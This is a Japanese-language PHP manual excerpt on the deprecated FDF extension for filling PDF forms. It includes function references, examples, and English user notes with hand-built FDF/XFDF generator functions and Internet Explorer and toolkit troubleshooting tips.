多くの fdf 関数は、最初のパラメータとして fdf リソースを必要とします。 fdf リソースは、オープンした fdf ファイルの ハンドルです。fdf リソースは、 fdf_create()、fdf_open()、 fdf_open_string() を用いて取得することが可能です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

FDFValue (int)
FDFStatus (int)
FDFFile (int)
FDFID (int)
FDFFf (int)
FDFSetFf (int)
FDFClearFf (int)
FDFFlags (int)
FDFSetF (int)
FDFClrF (int)
FDFAP (int)
FDFAS (int)
FDFAction (int)
FDFAA (int)
FDFAPRef (int)
FDFIF (int)
FDFEnter (int)
FDFExit (int)
FDFDown (int)
FDFUp (int)
FDFFormat (int)
FDFValidate (int)
FDFKeystroke (int)
FDFCalculate (int)
FDFNormalAP (int)
FDFRolloverAP (int)
FDFDownAP (int)

User Contributed Notes

There are no user contributed notes for this page.


例

以下の例でフォームデータの評価に関して説明します。

例1 FDF ドキュメントの評価

<?php
// 拡張モジュールが提供する入力文字列から fdf をオープンします。
// pdf フォームには volume, date, comment, publisher, preparer
// という名前のテキスト入力フィールドと 2 つのチェックボックス
// show_publisher および show_preparer があるものとします。
$fdf = fdf_open_string($HTTP_FDF_DATA);
$volume = fdf_get_value($fdf, "volume");
echo "volume フィールドの値は '<b>$volume</b>'<br />";

$date = fdf_get_value($fdf, "date");
echo "date フィールドの値は '<b>$date</b>'<br />";

$comment = fdf_get_value($fdf, "comment");
echo "comment フィールドの値は '<b>$comment</b>'<br />";

if (fdf_get_value($fdf, "show_publisher") == "On") {
  $publisher = fdf_get_value($fdf, "publisher");
  echo "publisher フィールドの値は '<b>$publisher</b>'<br />";
} else
  echo "Publisher は非公開です。<br />";

if (fdf_get_value($fdf, "show_preparer") == "On") {
  $preparer = fdf_get_value($fdf, "preparer");
  echo "preparer フィールドの値は '<b>$preparer</b>'<br />";
} else
  echo "Preparer は非公開です。<br />";
fdf_close($fdf);
?>

User Contributed Notes

There are no user contributed notes for this page.


FDF 関数

目次

  • fdf_add_doc_javascript — FDF ドキュメントに javascript コードを追加する
  • fdf_add_template — テンプレートを FDF ドキュメントに追加する
  • fdf_close — FDF ドキュメントを閉じる
  • fdf_create — 新規 FDF ドキュメントを作成する
  • fdf_enum_values — 各ドキュメントの値に対してユーザー定義関数をコールする
  • fdf_errno — 直近の fdf 操作に関するエラーコードを返す
  • fdf_error — 直近の fdf エラーコードについての説明を返す
  • fdf_get_ap — フィールドの外観を取得する
  • fdf_get_attachment — FDF に埋め込まれている、アップロードされたファイルを展開する
  • fdf_get_encoding — /Encoding キーの値を取得する
  • fdf_get_file — /F キーの値を得る
  • fdf_get_flags — フィールドのフラグを取得する
  • fdf_get_opt — フィールドのオプション配列から値を取得する
  • fdf_get_status — /STATUS キーの値を得る
  • fdf_get_value — フィールドの値を得る
  • fdf_get_version — FDF API あるいはファイルのバージョンを取得する
  • fdf_header — FDF 固有の出力ヘッダをセットする
  • fdf_next_field_name — 次のフィールド名を得る
  • fdf_open_string — 文字列から FDF ドキュメントを読み込む
  • fdf_open — FDF ドキュメントをオープンする
  • fdf_remove_item — フォームのターゲットフレームを設定する
  • fdf_save_string — FDF ドキュメントを文字列として返す
  • fdf_save — FDF ドキュメントを保存する
  • fdf_set_ap — フィールドの外観を設定する
  • fdf_set_encoding — FDF 文字エンコーディングを設定する
  • fdf_set_file — FDF データを表示する PDF ドキュメントを設定する
  • fdf_set_flags — フィールドのフラグを設定する
  • fdf_set_javascript_action — フィールドの javascript アクションを設定する
  • fdf_set_on_import_javascript — Acrobat が FDF をオープンした際に実行される javascript のコードを追加する
  • fdf_set_opt — フィールドのオプションを設定する
  • fdf_set_status — /STATUS キーの値を設定する
  • fdf_set_submit_form_action — フィールドの投稿フォームアクションを設定する
  • fdf_set_target_frame — フォームの表示対象となるフレームを設定する
  • fdf_set_value — フィールドの値を設定する
  • fdf_set_version — FDF ファイルのバージョン番号を設定する

User Contributed Notes

bea dot el dot tea at gmail dot com 17-Aug-2011 09:01
If you can't get the php_fdf.dll working in PHP 5.3 on Windows, one possible work around is to use the activeX version from the "FDF Toolkit for Windows" from the Adobe website.  Here is part of a class I built for one of my projects.

<?php
class FDF{
    public $NormalAP = 0;
    public $RolloverAP = 1;
    public $DownAP = 2;

    protected $fdf;

    public function __construct(){
        $com = new COM('FdfApp.FdfApp');
        $this->fdf = $com->FDFCreate();
    }
    public function setFile($fileName){
        $this->fdf->FDFSetFile(str_replace(' ', '%20', $fileName));
    }
    public function setValue($name, $value){
        $this->fdf->FDFSetValue($name, $value, true);
    }
    public function setAP($field, $whichFace, $fileName, $pageNumber){
        $this->fdf->FDFSetAP($field, $whichFace, $fileName, $pageNumber);
    }
    public function savetoFile($saveFileName){
        $this->fdf->FDFSavetoFile($saveFileName);
    }
    public function close(){
        $this->fdf->FDFclose();
    }
}
?>
info at theindigoworks dot com 12-Jul-2007 08:49
re. g8z at yahoo dot com 18-Oct-2004 06:46

I think there is a line missing in

foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

I have changed it to read

 $key = addcslashes($key, "\n\r\t\\()");
$value = addcslashes($value, "\n\r\t\\()");
   $fdf .= "<< /T ($key) /V /$value >> \n";

Now all the check boxes and radio buttons are populated, not just the last one in the form as was happening before.
wesley_grant at yahoo dot com 11-Jan-2006 03:37
Changing the

session.cache_limiter

directive in the php.ini file to 'private'

seems to resolve the issue with sending fdf data and session headers at the same time to Internet Explorer.
bmount at livid dot us 19-Oct-2005 08:05
For those of you struggling with FDF in Internet Explorer, here is your solution:

DO NOT INITIALIZE A SESSION ON THE PAGE THAT GENERATES AND OUTPUTS FDF DATA.

This will fix the page not found error.
03-May-2005 01:08
Use "Yes" instead of "On" to populate checkboxes.
g8z at yahoo dot com 17-Oct-2004 11:46
This is for users who are looking for a way to merge HTML form data with a PDF Form, then output the PDF Form with data populated in it, to a web browser.

This is a pure PHP solution which does NOT require the FDF toolkit. Contributed by www.TUFaT.com

<?php

// the full http path to the PDF form
$form = 'http://my_domain.com/my_pdf_form.pdf';

function create_fdf ($pdffile, $strings, $keys)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF << /Fields [\n";

    foreach ($strings as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $value = addcslashes($value, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V ($value) >> \n";
    }
    foreach ($keys as $key => $value)
    {
        $key = addcslashes($key, "\n\r\t\\()");
        $fdf .= "<< /T ($key) /V /$value >> \n";
    }

    $fdf .= "]\n/F ($pdffile) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}

// Fill in text fields
$strings = array(
    'date' => '10/17/2004',
    'full_name' => 'Joe Doe',
    'phone_num' => '123-4567',
    'company' => 'ACME Widgets',
    'amount' => 'USD 100.00'
    );

// Fill in check boxes/radio buttons
$keys = array('
    gender' => 'male',//radio button
    'is_adult' => 'Off',//checkbox
    'urgent' => 'On'//checkbox
    );

// Output the PDF form, with form data filled-in
header('Content-type: application/vnd.fdf');
echo create_fdf($form, $strings, $keys);

?>
sid at accesspdf dot com 07-Oct-2004 11:09
Basic FDF data is easy to create using native PHP; you don't need Adobe's FDF Toolkit. I wrote a function for this purpose called forge_fdf(). You can download it from:

http://www.pdfhacks.com/forge_fdf/

I created it for my book, PDF Hacks. An example of forge_fdf() in action can be viewed online:

http://pdfhacks.com/form_session/form_session-1.1/

Download the full code for this online example from:

http://pdfhacks.com/form_session/

Note how the PDF form data is submitted back to the server via POST rather than FDF. No need to parse FDF.

Cheers-

Sid Steward
m1tk4 at hotmail dot com 30-Jun-2004 10:34
If you want to add FDF support without rebuilding your RedHat EL3 / Fedora PHP RPMs, see instructions at http://phprpms.sourceforge.net/fdf
software at yvanrodrigues dot com 25-Mar-2004 02:16
Do not use version 6 of the fdftk.dll (windows) with PHP4.3.4, use the one that comes with PHP.

If you use the newer DLL fdf_create will not return a valid handle.
fleischer at mail dot com 18-Dec-2003 07:40
The code suggested by greg@... and adam@... is extremely helpful, but I've found out (the hard way) that unclosed parentheses within strings contained in the input array ($values in greg's code or $pdf_data in adam's) will cause Acrobat to issue an error to the effect that the file is corrupted. In other words, if there are strings such as "a) my first point; b) my second point" in the input array, the resulting PDF/FDF file will be considered corrupted by Acrobat. This apparently happens because all the field names in the structure of an FDF file are enclosed in parentheses.

The solution I've devised is to escape all opening and closing parentheses with a backslash, which in turn means you need to escape all backslashes. The code below does all that.

Erik

---------------

function output_fdf ($pdf_file, $pdf_data)
{
    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    $search = array('\\', '(', ')');
    $replace = array('\\\\', '\(', '\)');
    foreach ($pdf_data as $key => $val)
    {
        $clean_key = str_replace($search, $replace, $key);
        $clean_val = str_replace($search, $replace, $val);
        $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
    }

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}
mirage at rateaprof dot com 08-May-2003 05:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu 05-Mar-2003 06:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net 19-Jan-2003 08:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De 26-Nov-2002 12:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com 21-Oct-2002 04:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com 02-Aug-2002 11:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
    WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
    any content is spooled to the browser, or the function will fail!

    void output_fdf (string $pdf_file, array $pdf_data)

        $pdf_file:  a string containing a URL path to a PDF file on the
                    server. This PDF MUST exist and contain fields with
                    the names referenced by $pdf_data for this function
                    to work.
        $pdf_data:  an array of any fields in $pdf_file that you want to
                    populate, of the form key=>val; where the field
                    name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    foreach ($pdf_data as $key => $val)
        $fdf .= "<< /V ($val)/T ($key) >> \n";

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    /* Now we display the FDF data which causes Acrobat to start  */

    header ("Content-Type: application/vnd.fdf");
    print $fdf;

}
noah at NOSPAMbrandfidelity dot com 08-Mar-2002 08:26
function parse($file) {
                if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                        return;
                for ($i=0;$i<count($out);$i++) {
                        $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                        $thing = $out[$i][1];
                        if (eregi($pattern,$out[$i][0],$regs)) {
                                $key = $regs[2];
                                $val = $regs[1];
                                $key = preg_replace("/^\s*\(/","",$key);
                                $key = preg_replace("/\)$/","",$key);
                                $key = preg_replace("/\\\/","",$key);
                                $val = preg_replace("/^\s*\(/","",$val);
                                $val = preg_replace("/\)$/","",$val);
                                $matches[$key] = $val;
                        }
                }
                return $matches;
        }
gregDELETETHIS at laundrymat dot tv 21-Dec-2001 03:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%????\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
    {
    $fdfdata.="<< /V ($val)/T ($key) >> ";
    }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net 28-Apr-2000 04:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.

<?php
function FDFput($FDFpage){
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
    $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
    $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
    $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo     "<</T ($key) /V (". $val . ")>>\n";
                }
  }
    return $A.$B.$C;
}
?>

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe


FDF ドキュメントに javascript コードを追加する

  • ≪ FDF 関数
  • fdf_add_template ≫
  • PHP Manual
  • FDF 関数
  • FDF ドキュメントに javascript コードを追加する

fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_doc_javascript — FDF ドキュメントに javascript コードを追加する

説明

fdf_add_doc_javascript ( resource $fdf_document , string $script_name , string $script_code ) : bool

スクリプトを FDF に追加します。Acrobat は、FDF が読み込まれた際に それをドキュメントレベルのスクリプトとして追加します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

script_name

スクリプト名。

script_code

スクリプトのコード。コード内での改行は、できるだけ '\r' を使用するようにしてください。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 JavaScript コードを FDF に追加する

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r  return x+1;\r}\r");
fdf_save($fdf);
?>

これは、以下のような FDF を出力します。

%FDF-1.2
%aaIO
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

User Contributed Notes

There are no user contributed notes for this page.


テンプレートを FDF ドキュメントに追加する

  • ≪ fdf_add_doc_javascript
  • fdf_close ≫
  • PHP Manual
  • FDF 関数
  • テンプレートを FDF ドキュメントに追加する

fdf_add_template

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_template — テンプレートを FDF ドキュメントに追加する

説明

fdf_add_template ( resource $fdf_document , int $newpage , string $filename , string $template , int $rename ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


FDF ドキュメントを閉じる

  • ≪ fdf_add_template
  • fdf_create ≫
  • PHP Manual
  • FDF 関数
  • FDF ドキュメントを閉じる

fdf_close

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_close — FDF ドキュメントを閉じる

説明

fdf_close ( resource $fdf_document ) : void

FDF ドキュメントを閉じます。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

値を返しません。

参考

  • fdf_open() - FDF ドキュメントをオープンする

User Contributed Notes

There are no user contributed notes for this page.


新規 FDF ドキュメントを作成する

  • ≪ fdf_close
  • fdf_enum_values ≫
  • PHP Manual
  • FDF 関数
  • 新規 FDF ドキュメントを作成する

fdf_create

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_create — 新規 FDF ドキュメントを作成する

説明

fdf_create ( ) : resource

新規 FDF ドキュメントを作成します。

この関数は、PDF ドキュメントの入力フィールドにデータを書きこみたい場合に必要です。

返り値

FDF ドキュメントハンドル、あるいはエラー時に false を返します。

例

例1 PDF ドキュメントを公開する

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

参考

  • fdf_close() - FDF ドキュメントを閉じる
  • fdf_save() - FDF ドキュメントを保存する
  • fdf_open() - FDF ドキュメントをオープンする

User Contributed Notes

jwadhwani at pobox dot com 06-Jun-2006 08:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead 04-Oct-2003 12:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca 10-Aug-2003 05:14
Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei 17-Mar-2003 11:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
    php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.


各ドキュメントの値に対してユーザー定義関数をコールする

  • ≪ fdf_create
  • fdf_errno ≫
  • PHP Manual
  • FDF 関数
  • 各ドキュメントの値に対してユーザー定義関数をコールする

fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_enum_values — 各ドキュメントの値に対してユーザー定義関数をコールする

説明

fdf_enum_values ( resource $fdf_document , callable $function , mixed $userdata = ? ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

ceo at l-i-e dot com 10-Jul-2003 11:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

        preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
        echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
        $field_data = $field_data[1];
        $key_value = explode(">><<", $field_data);
        $key_value[0] = substr($key_value[0], 2);
        $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
        while (list(, $kv) = each($key_value)){
                list($key, $value) = explode("/V", $kv);
                $key = substr($key, 2);
                if ($key[0] == '('){
                        $key = substr($key, 1, -1);
                }
                if ($value[0] == '/'){
                        $value = substr($value, 1);
                }
                if ($value[0] == '('){
                        $value = substr($value, 1, -1);
                }
                echo "Key: $key Value: $value<BR>\n";
        }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.


直近の fdf 操作に関するエラーコードを返す

  • ≪ fdf_enum_values
  • fdf_error ≫
  • PHP Manual
  • FDF 関数
  • 直近の fdf 操作に関するエラーコードを返す

fdf_errno

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_errno — 直近の fdf 操作に関するエラーコードを返す

説明

fdf_errno ( ) : int

直近の FDF 関数コールによって設定されたエラーコードを取得します。

エラーの内容についてのテキストを取得するには fdf_error() を使用します。

返り値

エラーコードを表す整数値、あるいはエラーがない場合にゼロを返します。

参考

  • fdf_error() - 直近の fdf エラーコードについての説明を返す

User Contributed Notes

There are no user contributed notes for this page.


直近の fdf エラーコードについての説明を返す

  • ≪ fdf_errno
  • fdf_get_ap ≫
  • PHP Manual
  • FDF 関数
  • 直近の fdf エラーコードについての説明を返す

fdf_error

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_error — 直近の fdf エラーコードについての説明を返す

説明

fdf_error ( int $error_code = -1 ) : string

error_code で指定したエラーコードについての説明テキストを取得します。

パラメータ

error_code

fdf_errno() で取得したエラーコード。 省略した場合は、直近の操作で設定された内部エラーコードを使用します。

返り値

エラーメッセージを表す文字列、あるいは何も問題がない場合は no error を返します。

参考

  • fdf_errno() - 直近の fdf 操作に関するエラーコードを返す

User Contributed Notes

There are no user contributed notes for this page.


フィールドの外観を取得する

  • ≪ fdf_error
  • fdf_get_attachment ≫
  • PHP Manual
  • FDF 関数
  • フィールドの外観を取得する

fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_ap — フィールドの外観を取得する

説明

fdf_get_ap ( resource $fdf_document , string $field , int $face , string $filename ) : bool

field の外観 (つまり /AP キーの値) を取得し、ファイルに保存します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

field

face

FDFNormalAP、FDFRolloverAP および FDFDownAP のいずれか。

filename

ここに外観を保存します。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


FDF に埋め込まれている、アップロードされたファイルを展開する

  • ≪ fdf_get_ap
  • fdf_get_encoding ≫
  • PHP Manual
  • FDF 関数
  • FDF に埋め込まれている、アップロードされたファイルを展開する

fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_attachment — FDF に埋め込まれている、アップロードされたファイルを展開する

説明

fdf_get_attachment ( resource $fdf_document , string $fieldname , string $savepath ) : array

「ファイル選択」フィールド fieldname によって アップロードされたファイルを展開し、それを savepath に保存します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

fieldname

savepath

ファイル名または既存のディレクトリ名を指定し、ディレクトリ名を 指定した場合はその下に元のファイル名で保存されます。 同名のファイルが存在した場合は上書きします。

注意:

savepath にディレクトリを使用してファイルを 保存してその名前を調べる以外には、元のファイル名を知る方法はないと 思われます。

返り値

返される配列は以下のようなフィールドを保持します。

  • path - ファイルが保存された場所
  • size - 保存されたファイルのバイト数
  • type - (もし FDF 指定されていた場合) FDF の mimetype

例

例1 アップロードされたファイルを保存する

<?php
  $fdf = fdf_open_string($HTTP_FDF_DATA);
  $data = fdf_get_attachment($fdf, "filename", "/tmpdir");
  echo "アップロードされたファイルが $data[path] に保存されました。";
?>

User Contributed Notes

There are no user contributed notes for this page.


/Encoding キーの値を取得する

  • ≪ fdf_get_attachment
  • fdf_get_file ≫
  • PHP Manual
  • FDF 関数
  • /Encoding キーの値を取得する

fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_encoding — /Encoding キーの値を取得する

説明

fdf_get_encoding ( resource $fdf_document ) : string

/Encoding キーの値を取得します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

エンコーディングを文字列で返します。 デフォルトの PDFDocEncoding/Unicode スキームを使用している場合は空の文字列を返します。

参考

  • fdf_set_encoding() - FDF 文字エンコーディングを設定する

User Contributed Notes

There are no user contributed notes for this page.


/F キーの値を得る

  • ≪ fdf_get_encoding
  • fdf_get_flags ≫
  • PHP Manual
  • FDF 関数
  • /F キーの値を得る

fdf_get_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_file — /F キーの値を得る

説明

fdf_get_file ( resource $fdf_document ) : string

/F キーの値を取得します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

キーの値を文字列を返します。

参考

  • fdf_set_file() - FDF データを表示する PDF ドキュメントを設定する

User Contributed Notes

There are no user contributed notes for this page.


フィールドのフラグを取得する

  • ≪ fdf_get_file
  • fdf_get_opt ≫
  • PHP Manual
  • FDF 関数
  • フィールドのフラグを取得する

fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_flags — フィールドのフラグを取得する

説明

fdf_get_flags ( resource $fdf_document , string $fieldname , int $whichflags ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


フィールドのオプション配列から値を取得する

  • ≪ fdf_get_flags
  • fdf_get_status ≫
  • PHP Manual
  • FDF 関数
  • フィールドのオプション配列から値を取得する

fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECLv)

fdf_get_opt — フィールドのオプション配列から値を取得する

説明

fdf_get_opt ( resource $fdf_document , string $fieldname , int $element = -1 ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


/STATUS キーの値を得る

  • ≪ fdf_get_opt
  • fdf_get_value ≫
  • PHP Manual
  • FDF 関数
  • /STATUS キーの値を得る

fdf_get_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_status — /STATUS キーの値を得る

説明

fdf_get_status ( resource $fdf_document ) : string

/STATUS キーの値を取得します。

パラメータ

fdf_document

fdf_create()、 fdf_open() あるいは fdf_open_string() が返す FDF ドキュメントハンドル。

返り値

